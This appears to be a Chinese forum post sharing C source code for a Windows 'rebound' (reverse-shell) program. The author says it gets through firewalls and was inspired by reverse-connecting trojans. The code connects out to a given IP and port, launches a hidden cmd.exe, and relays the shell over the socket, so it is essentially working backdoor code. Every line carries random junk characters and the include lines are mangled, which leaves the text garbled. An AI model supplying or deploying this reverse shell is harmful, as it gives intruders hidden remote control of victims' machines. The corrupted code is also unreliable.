这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w?M"`O(
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/* ============================== 0=40}n&`
Rebound port in Windows NT e5;YY
By wind,2006/7 x'6i9]+r
===============================*/ Qs8yJH`v
#include O CCC' k
#include 8A-*MU`+
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#pragma comment(lib,"wsock32.lib") _oefp*iWS
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void OutputShell(); ]'hel#L;l
SOCKET sClient; n%02,pC6,
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *{p:C
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void main(int argc,char **argv) <'hoN/g
{ l>(*bb1}b
WSADATA stWsaData; 4TiHh
int nRet; sP=^5K`g
SOCKADDR_IN stSaiClient,stSaiServer; qn}VW0!
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if(argc != 3) ?T|0"|\"'
{ 66_=bd(9
printf("Useage:\n\rRebound DestIP DestPort\n"); /pLf?m9
return; XV)ctF4
} CqU ^bVs
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WSAStartup(MAKEWORD(2,2),&stWsaData); !>kg:xV
;W\?lGOs{
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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stSaiClient.sin_family = AF_INET; %):pfM;b
stSaiClient.sin_port = htons(0); h2?\A%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3m$Qd#|
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) taO(\FOm
{ 53bVhPGv
printf("Bind Socket Failed!\n"); giesof
return; G)o:R iq
} 5EECr
\*
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stSaiServer.sin_family = AF_INET; @zLyG#kHY
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N!-P2) @
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :6o|6MC!
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) zzd PR}VG
{ gp'k(rGH
printf("Connect Error!"); )6o%6$c
return; wuSotbc/
} {qCFd
OutputShell(); t2m7Yh5B
} K<pZ*l
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void OutputShell() y*=Ipdj
{ VG50n<m9
char szBuff[1024]; Q=#FvsF#z3
SECURITY_ATTRIBUTES stSecurityAttributes; 2j]uB0
OSVERSIONINFO stOsversionInfo; g!cW`B'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; T&Z*=ShH
STARTUPINFO stStartupInfo; `9\^.g)
char *szShell; Z4gn7
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PROCESS_INFORMATION stProcessInformation; m )r,
unsigned long lBytesRead; &!wtH
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y!q`o$nK
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $IdU
stSecurityAttributes.lpSecurityDescriptor = 0; eIhfhz?Q;#
stSecurityAttributes.bInheritHandle = TRUE; "/3YV%to-#
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MfdkvJ'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nmyDGuzk
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); lW4 6S
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tOo\s&j
stStartupInfo.wShowWindow = SW_HIDE; "x
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stStartupInfo.hStdInput = hReadPipe; = U[$i"+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \zOsq5}
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GetVersionEx(&stOsversionInfo); @,LU!#y(
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switch(stOsversionInfo.dwPlatformId) )XoMOz
{ 1Cw$^jd
case 1: 1hc`s+N
szShell = "command.com"; Fw#1?/K~
break; iDltN]zS
default: gQ<{NQMzvd
szShell = "cmd.exe"; iI &z5Q2
break; SQMtR2
} ~c*kS E2X
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); u EERNo&
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send(sClient,szMsg,77,0); b+L !p.:
while(1) BbPRPkV
{ su\`E&0V+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _@g\.7@0G
if(lBytesRead) ]K%d
{ A-rj: k!
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); xmfZ5nVL
send(sClient,szBuff,lBytesRead,0); pOhjq#}
} %MCS_'N
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else vN~joQ=d
{ 0WyOORuK
lBytesRead=recv(sClient,szBuff,1024,0); 'QTa<Z)E
if(lBytesRead<=0) break; 7;Vmbt9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); z.OJ1vY7
} Yjl:i*u/
} 6}Rb-\N
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return; h8;H<Y;yQ
}